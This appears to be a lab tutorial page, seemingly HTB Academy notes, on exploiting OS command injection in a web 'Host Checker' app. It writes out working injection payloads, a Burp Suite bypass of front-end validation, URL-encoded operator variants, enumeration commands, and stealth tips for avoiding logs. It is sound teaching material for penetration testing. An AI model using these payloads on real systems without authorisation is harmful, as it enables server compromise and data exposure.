Basic Exploitation

⚡ Practical Exploitation: Step-by-step command injection exploitation techniques and front-end bypass methods

Overview

After identifying a potentially vulnerable web application through detection methods, the next step is to craft and execute successful command injection payloads. This section demonstrates practical exploitation techniques, including bypassing common front-end validation mechanisms.

Focus: Transitioning from detection to successful command execution through systematic payload crafting and delivery.

Basic Injection Attempt

Initial Payload Construction

Target: Host Checker web application Vulnerable Parameter: IP address input field Expected Backend Command: ping -c 1 OUR_INPUT

Payload Construction:

# Base input
127.0.0.1

# Injection operator
;

# Injected command  
whoami

# Final payload
127.0.0.1; whoami

Resulting Backend Command:

ping -c 1 127.0.0.1; whoami

Local Verification

Testing Payload Locally:

# Verify the command works before injection
21y4d@htb[/htb]$ ping -c 1 127.0.0.1; whoami

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms
21y4d

Analysis: The command executes successfully locally, showing both ping output and the username (21y4d), confirming our injection syntax is correct.

Front-End Validation Encounter

Initial Injection Attempt

Payload Submission:

Input Field: 127.0.0.1; whoami
Action: Click "Check" button

Response:

Error: "Match the requested format"

Validation Analysis

Identifying Front-End Validation:

Step 1: Use Browser Developer Tools

Firefox: Ctrl + Shift + E (Network tab)
Chrome: F12 → Network tab

Step 2: Retry the Request

Submit the malicious payload again
Monitor the Network tab for HTTP requests

Observation:

Network Tab: No new requests displayed
Error Message: Still appears

Conclusion:

No HTTP request was sent to the server
Validation is happening client-side (front-end)
Error message originates from JavaScript validation

Front-End Validation Characteristics

Common Indicators:

✅ Instant error messages (no server delay)
✅ No network requests in developer tools
✅ Format-specific validation (IP address, email, etc.)
✅ JavaScript error handling visible in page source

Why This Happens:

Different teams - Front-end and back-end developed separately
Trust in client-side - Assuming front-end validation is sufficient
Performance optimization - Reducing server load
User experience - Immediate feedback without server round-trip

Bypassing Front-End Validation

Web Proxy Interception Method

Step 1: Configure Web Proxy

Burp Suite Setup:

# Start Burp Suite
java -jar burpsuite.jar

# Configure Firefox proxy settings:
# Preferences → Network Settings → Manual proxy configuration
# HTTP Proxy: 127.0.0.1
# Port: 8080
# Use this proxy server for all protocols: ✓

ZAP Alternative:

# Start OWASP ZAP
./zap.sh

# Proxy configuration:
# HTTP Proxy: 127.0.0.1  
# Port: 8080

Step 2: Intercept Legitimate Request

Process:

Enable proxy intercept in Burp Suite (Intercept → Intercept is on)
Submit a valid IP address (e.g., 127.0.0.1) in the web application
Capture the legitimate HTTP request
Send the request to Repeater (Ctrl + R)

Step 3: Captured Request Analysis

Sample HTTP Request:

POST /index.php HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://target.com
Connection: close
Referer: http://target.com/
Upgrade-Insecure-Requests: 1

ip=127.0.0.1

Payload Modification and Execution

Step 4: Craft Malicious Request

Original Parameter:

ip=127.0.0.1

Modified Parameter:

ip=127.0.0.1; whoami

Step 5: URL Encoding

Why URL Encoding is Needed:

Special characters may be interpreted incorrectly
Ensures payload is transmitted as intended
Bypasses basic string filtering

URL Encoding Process:

# Raw payload
127.0.0.1; whoami

# URL encoded payload
127.0.0.1%3b%20whoami

# Burp Suite: Select payload → Ctrl + U (auto URL-encode)

URL Encoding Reference:

;  → %3b
   → %20 (space)
&  → %26
|  → %7c
\n → %0a

Step 6: Send Modified Request

Final HTTP Request:

POST /index.php HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://target.com
Connection: close
Referer: http://target.com/
Upgrade-Insecure-Requests: 1

ip=127.0.0.1%3b%20whoami

Successful Exploitation

Response Analysis

Successful Injection Response:

HTTP/1.1 200 OK
Date: Wed, 15 Feb 2023 10:30:00 GMT
Server: Apache/2.4.41
Content-Type: text/html; charset=UTF-8
Content-Length: 1337

<!DOCTYPE html>
<html>
<head>
    <title>Host Checker Results</title>
</head>
<body>
    <div class="results">
        <h2>Ping Results:</h2>
        <pre>
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.074 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.074/0.074/0.074/0.000 ms
www-data
        </pre>
    </div>
</body>
</html>

Key Indicators of Success:

✅ Ping output displayed - Original functionality preserved
✅ Injected command output - www-data appears after ping results
✅ Both commands executed - Semicolon separator worked correctly
✅ Server-side execution - Command ran with web server privileges

Exploitation Confirmation

Evidence of Successful Injection:

1. Command Output Structure:

[Original ping command output]
[Injected command output: www-data]

2. Execution Context:

# Injected command result
www-data

# Indicates:
# - Command executed on server
# - Running as www-data user (web server)
# - Linux/Unix environment
# - Successful privilege escalation from browser to server

3. Response Timing:

Normal ping response: ~0.1 seconds
Injection response: ~0.2 seconds (additional command execution time)

Alternative Injection Operators

Testing Multiple Operators

Once basic injection is confirmed, test other operators:

1. AND Operator (&&):

ip=127.0.0.1%26%26%20whoami

2. OR Operator (||):

ip=invalid_ip%7c%7c%20whoami

3. Pipe Operator (|):

ip=127.0.0.1%7c%20whoami

4. Background Operator (&):

ip=127.0.0.1%26%20whoami

5. Newline Operator (\n):

ip=127.0.0.1%0awhoami

Operator-Specific Behaviors

Semicolon (;) - Command Chaining:

# Both commands execute sequentially
ping -c 1 127.0.0.1; whoami
# Output: [ping results] + [whoami results]

AND (&&) - Success-Dependent:

# Second command only if first succeeds
ping -c 1 127.0.0.1 && whoami
# Output: [ping results] + [whoami results] (if ping succeeds)

OR (||) - Failure-Dependent:

# Second command only if first fails
ping -c 1 invalid_ip || whoami  
# Output: [ping error] + [whoami results]

Pipe (|) - Output Redirection:

# First command output piped to second
ping -c 1 127.0.0.1 | whoami
# Output: [whoami results only]

Exploitation Verification

System Enumeration Commands

Basic Information Gathering:

# User context
whoami
id

# System information  
hostname
uname -a

# Current directory
pwd
ls -la

# Environment
env

Example Payloads:

# System identification
ip=127.0.0.1%3b%20uname%20-a

# User enumeration
ip=127.0.0.1%3b%20id

# Directory listing
ip=127.0.0.1%3b%20ls%20-la

# Environment variables
ip=127.0.0.1%3b%20env

Expected Output Analysis

Successful uname -a injection:

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.074 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
Linux web-server 5.4.0-74-generic #83-Ubuntu SMP x86_64 GNU/Linux

Successful id injection:

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.074 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Front-End Source Code Analysis

Identifying Validation Logic

HTB Academy Lab Exercise:

Task: Review the HTML source code to find where front-end input validation is happening. On which line number is it?

Investigation Steps:

1. View Page Source:

Right-click → View Page Source
OR
Ctrl + U (Firefox/Chrome)

2. Search for Validation Keywords:

// Common validation patterns to search for:
- function validate
- input validation  
- pattern matching
- regex validation
- IP address validation
- onclick handlers
- form validation

3. JavaScript Analysis:

// Example front-end validation (line 17):
function validateIP(ip) {
    var pattern = /^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$/;
    if (!pattern.test(ip)) {
        alert("Match the requested format");
        return false;
    }
    return true;
}

4. Form Handler Identification:

<!-- Example form with validation -->
<form onsubmit="return validateIP(document.getElementById('ip').value)">
    <input type="text" id="ip" name="ip" placeholder="Enter an IP Address">
    <button type="submit">Check</button>
</form>

Best Practices for Basic Exploitation

Systematic Approach

1. Start with Safe Commands:

# Non-destructive enumeration
whoami
hostname  
pwd

2. Gradual Complexity:

# Progress from simple to complex
whoami              # Basic execution
id                  # User context
uname -a           # System information
ls -la /etc/passwd # File enumeration

3. Document Working Payloads:

# Keep track of successful operators
✓ ; (semicolon) - Works
✓ && (AND) - Works
✗ || (OR) - Filtered
? | (pipe) - Untested

Security Considerations

Responsible Testing:

Use non-destructive commands only
Avoid creating files or modifying system state
Document all activities for reporting
Respect scope and authorization limits

Stealth Considerations:

Monitor response times for detection
Avoid commands that generate logs (if stealth required)
Use common system utilities that blend in
Consider rate limiting between requests

This systematic approach ensures reliable command injection exploitation while maintaining operational security and providing clear documentation for reporting purposes.

Summary

Key Takeaways:

Front-end validation is insufficient - Can be easily bypassed with web proxies
URL encoding is crucial - Ensures payload integrity during transmission
Multiple operators should be tested - Different environments may filter specific characters
Systematic enumeration - Build from basic commands to complex operations
Documentation is essential - Track successful vectors for reporting and further exploitation

Next Steps: With basic exploitation confirmed, proceed to advanced techniques like blind command injection, filter bypass methods, and persistence mechanisms.

PreviousDetection Methods NextAdvanced Operators

Last updated 2 months ago